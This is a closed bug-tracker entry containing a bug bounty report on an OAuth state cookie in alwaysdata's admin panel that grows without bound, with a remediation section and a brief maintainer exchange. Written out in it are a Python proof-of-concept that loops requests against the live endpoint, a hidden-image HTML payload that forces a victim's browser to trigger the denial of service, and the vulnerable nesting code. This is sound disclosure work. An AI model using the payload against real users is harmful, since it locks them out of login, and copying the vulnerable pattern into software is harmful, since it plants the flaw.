Security vulnerabilities

  • Status Closed
  • Assigned To
    nferrari
  • Private
Attached to Project: Security vulnerabilities
Opened by cyberzod - 25.06.2026
Last edited by nferrari - 02.07.2026

FS#350 - OAuth State Cookie Unbounded Growth (Authentication DoS)

# OAuth State Cookie Unbounded Growth (Authentication DoS)

## Submission Details

Field Value
——-——-
Title OAuth State Cookie Unbounded Growth Leading to Authentication DoS
Severity Low
CVSS Score 4.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
CWE CWE-400 - Uncontrolled Resource Consumption
Endpoint `GET /oauth/google/login/?next=/`
Date Discovered 2026-06-24
Status ✅ Confirmed

## 1. Description

When a user initiates Google OAuth login on the alwaysdata admin panel, the server generates an OAuth `state` parameter (a random nonce that protects against CSRF in the OAuth flow) and stores it in a browser cookie (`google_state`).

The vulnerability: Instead of replacing the previous state cookie when a new OAuth flow is started, the server wraps the existing cookie value in a new JSON layer, causing unbounded growth:

```
First click: {"state": "ABC123", "next": "/"}
Second click: {"state": "XYZ789", "next": "/", "previous": {"state": "ABC123", "next": "/"}}
Third click: {"state": "DEF456", "next": "/", "previous": {"state": "XYZ789", …, "previous": {…}}}
```

Each initiation adds ~600 bytes to the cookie. After ~8 initiations, the cookie exceeds the 4 KB browser limit. The browser silently drops the oversized cookie. Subsequent OAuth login attempts fail silently — the state parameter can't be verified, so the flow is aborted.

## 2. Steps to Reproduce

### Step 1: Initiate OAuth Login
```http
GET /oauth/google/login/?next=/ HTTP/2
Host: admin.alwaysdata.com
```

Response: ```http
HTTP/2 302 Found
Location: https://accounts.google.com/… Set-Cookie: google_state={"state":"ABC123","next":"/"}
```

### Step 2: Repeatedly Initiate OAuth (8+ times)
Each reload adds a nested `previous` layer to the cookie.

### Step 3: Observe Cookie Growth

Iteration Cookie Size Status
———–————-——–
1 216 bytes Normal
2 422 bytes Growing
3 694 bytes Growing
4 1,058 bytes Growing
5 1,542 bytes Growing
6 2,184 bytes Growing
7 3,046 bytes Growing
8 4,194 bytes ❌ OVER 4KB
9 5,720 bytes ❌ OVER 4KB

### Step 4: Attempt OAuth Login
After the cookie exceeds 4KB, the browser drops it. The OAuth callback fails because the `state` parameter cannot be verified.

## 3. Proof of Concept

### Python PoC

```python
import requests

s = requests.Session()

for i in range(10):

  r = s.get(
      "https://admin.alwaysdata.com/oauth/google/login/?next=/",
      allow_redirects=False,
      timeout=10
  )
  state_cookie = s.cookies.get("google_state", "")
  size = len(state_cookie)
  print(f"Iteration {i+1}: cookie={size} bytes")
  
  if size > 4096:
      print(f"  >>> OVER 4KB LIMIT <<<")

```

### PoC Output

```
Iteration 1: cookie=216 bytes
Iteration 2: cookie=422 bytes
Iteration 3: cookie=694 bytes
Iteration 4: cookie=1058 bytes
Iteration 5: cookie=1542 bytes
Iteration 6: cookie=2184 bytes
Iteration 7: cookie=3046 bytes
Iteration 8: cookie=4194 bytes

>>> OVER 4KB LIMIT <<<

Iteration 9: cookie=5720 bytes

>>> OVER 4KB LIMIT <<<

```

### Apple OAuth Also Affected

```python
# Apple OAuth shows same pattern (though stops growing at 3046 bytes)
for i in range(10):

  r = s.get(
      "https://admin.alwaysdata.com/oauth/apple/login/?next=/",
      allow_redirects=False,
      timeout=10
  )
  state_cookie = s.cookies.get("apple_state", "")
  print(f"Apple iteration {i+1}: {len(state_cookie)} bytes")

```

## 4. Attack Scenario

### Victim Perspective

1. Victim visits an attacker-controlled page
2. Page contains 8+ hidden image tags loading the OAuth URL:

 ```html
 <img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
 <img src="https://admin.alwaysdata.com/oauth/google/login/?next=/" style="display:none">
 <!-- repeated 8+ times -->
 ```

3. Each load inflates the `google_state` cookie
4. Cookie exceeds 4KB and is dropped by browser
5. Victim later tries to log in via Google OAuth → fails silently

### Result

The victim cannot authenticate via Google OAuth until they manually clear the `google_state` cookie.

## 5. Impact

Impact Description
——–————-
Authentication DoS Users cannot log in via Google/Apple OAuth
Silent Failure No error message - OAuth flow just fails
Persistent Cookie remains oversized until manually cleared
User Interaction Required Victim must visit attacker-controlled page
Recovery Manual cookie clearing required

### CVSS Score Breakdown

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
```

Metric Value Rationale
——–——-———–
Attack Vector Network (N) Exploitable over network
Attack Complexity Low (L) Simple image tags
Privileges Required None (N) No authentication needed
User Interaction Required (R) Victim must visit page
Scope Unchanged (U) Affects victim's browser only
Confidentiality None (N) No data exposure
Integrity None (N) No data modification
Availability Low (L) OAuth login DoS only

Score: 4.3 (Low)

## 6. Remediation Recommendations

### 1. Replace Instead of Nest

```python
# VULNERABLE - nests existing state
def initiate_oauth(request):

  new_state = generate_random_token()
  existing_state = request.COOKIES.get('google_state', '{}')
  new_cookie_value = json.dumps({
      "state": new_state,
      "next": request.GET.get('next', '/'),
      "previous": json.loads(existing_state)  # <-- Bug: unbounded nesting
  })
  response.set_cookie('google_state', new_cookie_value)
  return response

# SECURE - replaces state
def initiate_oauth(request):

  new_state = generate_random_token()
  new_cookie_value = json.dumps({
      "state": new_state,
      "next": request.GET.get('next', '/')
  })
  response.set_cookie('google_state', new_cookie_value, max_age=600)
  return response

```

### 2. Set Short Cookie TTL

```python
response.set_cookie('google_state', new_cookie_value, max_age=600) # 10 minutes
```

### 3. Use Stateless State Token

```python
# Use signed JWT instead of stored state
state_token = jwt.encode({

  'state': new_state,
  'next': next_url,
  'exp': time.time() + 600

}, SECRET_KEY, algorithm='HS256')
response.set_cookie('google_state', state_token, max_age=600)
```

### 4. Limit Cookie Size

```python
# Monitor cookie size and reject if too large
if len(existing_state) > 2000:

  existing_state = "{}"  # Reset if too large

```

## 7. Evidence Summary

Evidence Status
———-——–
Cookie grows with each OAuth initiation
Cookie exceeds 4KB after ~8 iterations
Google OAuth affected
Apple OAuth affected
Cookie contains nested JSON

### Test Data

Iteration google_state Size Status
———–——————-——–
1 216 bytes
2 422 bytes
3 694 bytes
4 1,058 bytes
5 1,542 bytes
6 2,184 bytes
7 3,046 bytes
8 4,194 bytes ❌ OVER LIMIT
9 5,720 bytes

## 8. References

- CWE-400: https://cwe.mitre.org/data/definitions/400.html - OWASP Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service - Browser Cookie Limits: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies

## 9. Contact Information

Field Value
——-——-
Researcher michenhenryyissuehunt@gmail.com
Test Account cyberzod (ID 482835)
Submission Date 2026-06-24
Program alwaysdata Bug Bounty Program

## 10. Conclusion

Finding is CONFIRMED.

The `google_state` cookie grows unbounded with each OAuth initiation, exceeding the 4KB browser limit after approximately 8 iterations. This enables a Denial of Service attack against Google and Apple OAuth login functionality.

An attacker can trigger this by loading the OAuth initiation URL 8+ times in a victim's browser (via hidden image tags), causing the cookie to be dropped and OAuth login to fail silently.

Severity: Low (CVSS 4.3) - Authentication convenience DoS only. No account access or data exposure.

Closed by  nferrari
02.07.2026 13:13
Reason for closing:  Fixed
Admin

Hi,

Thank you for your report, we will address it shortly and come back to you.

Regards,

Admin

Hi, Your report is in progress, can you please open a ticket on alwaysdata administration panel? Thank you

Hi nferrari,
Thank you for the update. I have opened the ticket on the alwaysdata administration panel as requested to help coordinate the fix.
For the team's reference, the administration ticket details are linked back to this finding ( FS#350 ). Please let me know if you need any further information or testing from my end.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing